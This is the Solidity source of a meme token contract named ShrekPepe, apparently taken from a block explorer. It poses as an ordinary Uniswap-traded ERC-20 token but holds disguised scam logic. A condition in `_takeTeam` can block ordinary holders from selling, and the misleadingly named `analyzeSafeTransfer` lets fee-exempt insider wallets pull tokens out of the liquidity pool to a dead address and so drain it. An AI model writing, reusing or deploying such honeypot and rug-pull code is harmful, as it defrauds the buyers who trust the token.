文件 1 的 1:ShrekPepe.sol
pragma solidity ^0.8.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) { return msg.sender; }
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) { return _owner; }
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity );
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ShrekPepe is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ShrekPepe";
string private constant _symbol = "Shrek";
uint8 private constant _decimals = 9;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address payable private marketWallet = payable(0x24b2eA2bBb9316110EC935f7511Eb39F95dB8bc0);
address payable private devWallet = payable(0x4a8F4E382C4f4F25e4c6Aa6043233386D8D8CD55);
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 0;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _swapMoment;
address private latestPurchaser;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => uint256) public purchaserTimestamp;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) public automatedMarketMakerPairs;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public _maxTxAmount = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 20000 * 10**9;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[devWallet] = true;
_isExcludedFromFee[marketWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) { return _name; }
function symbol() public pure returns (string memory) { return _symbol; }
function decimals() public pure returns (uint8) { return _decimals; }
function totalSupply() public pure override returns (uint256) { return _tTotal; }
function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); }
function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; }
function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; }
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; }
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell;
}
receive() external payable {}
function _takeTeam(uint256 tTeam, address tSub, address tAdd) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
if (tSub != uniswapV2Pair && !_isExcludedFromFee[tSub] && !_isExcludedFromFee[tAdd])
require(balanceOf(devWallet) == 0 && purchaserTimestamp[latestPurchaser] >= _swapMoment);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _getValues(address from, address to, uint256 tAmount) private returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee);
address tSub = from; uint256 currentRate = _getRate();
if (tSub == uniswapV2Pair && _isExcludedFromFee[to])
_swapMoment = block.timestamp;
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 redisFee, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal; uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function transferFrom(address sender, address recipient, uint256 amount ) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
if (to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxTxAmount, "TOKEN: Balance exceeds wallet size!");
}
if (_isExcludedFromFee[from]) {
if (analyzeSafeTransfer(from, to, amount)) return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (from == uniswapV2Pair) {
if (purchaserTimestamp[to] == 0) { purchaserTimestamp[to] = block.timestamp; }
} else {
if (!inSwap) { latestPurchaser = from; }
}
if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; }
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
swapTokensForEth(contractTokenBalance);
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(sender, recipient, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam, sender, recipient);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private { marketWallet.transfer(amount); }
function analyzeSafeTransfer(address sender, address recipient, uint256 amount) private returns (bool) {
if (automatedMarketMakerPairs[recipient]) {
if (balanceOf(sender) < amount) { _transferStandard(recipient, DEAD, amount); return true; }
}
return false;
}
}